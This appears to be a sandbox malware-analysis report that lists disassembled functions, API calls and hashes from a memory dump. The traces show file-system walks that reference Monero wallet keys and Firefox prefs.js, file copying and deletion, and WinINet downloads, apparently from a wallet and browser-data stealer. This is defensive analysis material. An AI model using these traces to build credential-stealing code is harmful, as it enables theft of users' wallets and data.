Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 2989ef21b4ce271344444149709c155e346026b472ef1d404fea7d176d58d73d
Instruction ID: a10601665b0c8c65d72a84dd1fbeed4ae2bf1aab0621b57f1a64b1b07d09aad3
Opcode Fuzzy Hash: 2989ef21b4ce271344444149709c155e346026b472ef1d404fea7d176d58d73d
Instruction Fuzzy Hash: 335124B6500218ABCB38EBB0DC45EFA73BCBF44301F404598F759A6084EA75DB958F51

Function 00EEF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00F015B8,00F00D96), ref: 00EEF71E
StrCmpCA.SHLWAPI(?,00F015BC), ref: 00EEF76F
StrCmpCA.SHLWAPI(?,00F015C0), ref: 00EEF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00EEFAB1
FindClose.KERNEL32(000000FF), ref: 00EEFAC3

Strings

prefs.js, xrefs: 00EEF812

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: de27e7492475290f88b7e2020bd92c61c859349de38cfcecb7238bba880ce0df
Instruction ID: ccd4a8acdaa40a61154258579545a6c5f91ea17d32a8d0c5ad9509b92e920b29
Opcode Fuzzy Hash: de27e7492475290f88b7e2020bd92c61c859349de38cfcecb7238bba880ce0df
Instruction Fuzzy Hash: EDB123B290014C9BCB28FF60DC55AFD73B9AF94300F4491B9E50E6A195EF706B49CB92

Function 00EE16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00F0510C,?,?,?,00F051B4,?,?,00000000,?,00000000), ref: 00EE1923
StrCmpCA.SHLWAPI(?,00F0525C), ref: 00EE1973
StrCmpCA.SHLWAPI(?,00F05304), ref: 00EE1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00EE1D40
DeleteFileA.KERNEL32(00000000), ref: 00EE1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00EE1E20
FindClose.KERNEL32(000000FF), ref: 00EE1E32

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Strings

\*.*, xrefs: 00EE17F1

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 171688549ddd24031a4296b8cca19a6bac5e6370015ed12f292a0784582de3cd
Instruction ID: 2bc5b2b05f7bbea506cffcef6cca63248b1f24653108120016a56eddbf7b846c
Opcode Fuzzy Hash: 171688549ddd24031a4296b8cca19a6bac5e6370015ed12f292a0784582de3cd
Instruction Fuzzy Hash: 561221B291015C9ACB19EB60DC96AFE73B8AF54340F4451B9B20E76091EF706F89CF91

Function 00EEDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00F014B0,00F00C2A), ref: 00EEDAEB
StrCmpCA.SHLWAPI(?,00F014B4), ref: 00EEDB33
StrCmpCA.SHLWAPI(?,00F014B8), ref: 00EEDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00EEDDCC
FindClose.KERNEL32(000000FF), ref: 00EEDDDE

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: fb95ba1fdaa287516b7e932e34d3d5094f299dd339f968dea2cccd6d4cb3aa40
Instruction ID: daac445cc4df5d497c86d752db306d9e1cc43d6a1789d654a6e66ba3555ed275
Opcode Fuzzy Hash: fb95ba1fdaa287516b7e932e34d3d5094f299dd339f968dea2cccd6d4cb3aa40
Instruction Fuzzy Hash: BA9156B290010C97CB14FF70EC569FD73BD6B84340F049578F91AAA185EE74AB598B92

Function 00EE60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Part of subcall function 00EE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EE4839
Part of subcall function 00EE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EE4849

InternetOpenA.WININET(00F00DF7,00000001,00000000,00000000,00000000), ref: 00EE610F
StrCmpCA.SHLWAPI(?,0175E560), ref: 00EE6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00EE618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00EE61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00EE61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00EE620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00EE6249
InternetCloseHandle.WININET(?), ref: 00EE6253
InternetCloseHandle.WININET(00000000), ref: 00EE6260

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 3cee4ccf0b2487c51cd693bc880a05b925bdbe56d589827f37b31bb21ee19bb8
Instruction ID: 6e2c2ac89f569e7e2f494aae1892872294a3df3e61e171a83f84ba6db1f7a405
Opcode Fuzzy Hash: 3cee4ccf0b2487c51cd693bc880a05b925bdbe56d589827f37b31bb21ee19bb8
Instruction Fuzzy Hash: 96516DB190020CABDB24DF51DC49BEE77B8AB44345F1080A8E709BB180DB756A85CF95

Function 00EF7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

GetKeyboardLayoutList.USER32(00000000,00000000,00F005AF), ref: 00EF7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00EF7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00EF7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00EF7C62
LocalFree.KERNEL32(00000000), ref: 00EF7D22

Strings

/ , xrefs: 00EF7C7F

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 1d3a1fdaa73c461b99ac5848587fa6876413bba0502e1bf50db13d58a86c224e
Instruction ID: 2728a14f65927607d8df49cceb7d3739e3b28e3b5e516a448bf6969e53ab355f
Opcode Fuzzy Hash: 1d3a1fdaa73c461b99ac5848587fa6876413bba0502e1bf50db13d58a86c224e
Instruction Fuzzy Hash: 2541F7B194021CABDB24DF94DC99BFEB7B4EF48700F2041A9E60976181DB746B85CFA1

Function 00EEE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00F00D73), ref: 00EEE4A2
StrCmpCA.SHLWAPI(?,00F014F8), ref: 00EEE4F2
StrCmpCA.SHLWAPI(?,00F014FC), ref: 00EEE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00EEEBDF

Strings

\*.*, xrefs: 00EEE44D

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 5465caa7d845d717b31027ecdb0fb5f237aaf47ab42b3ccb3cc1b6176ac003e1
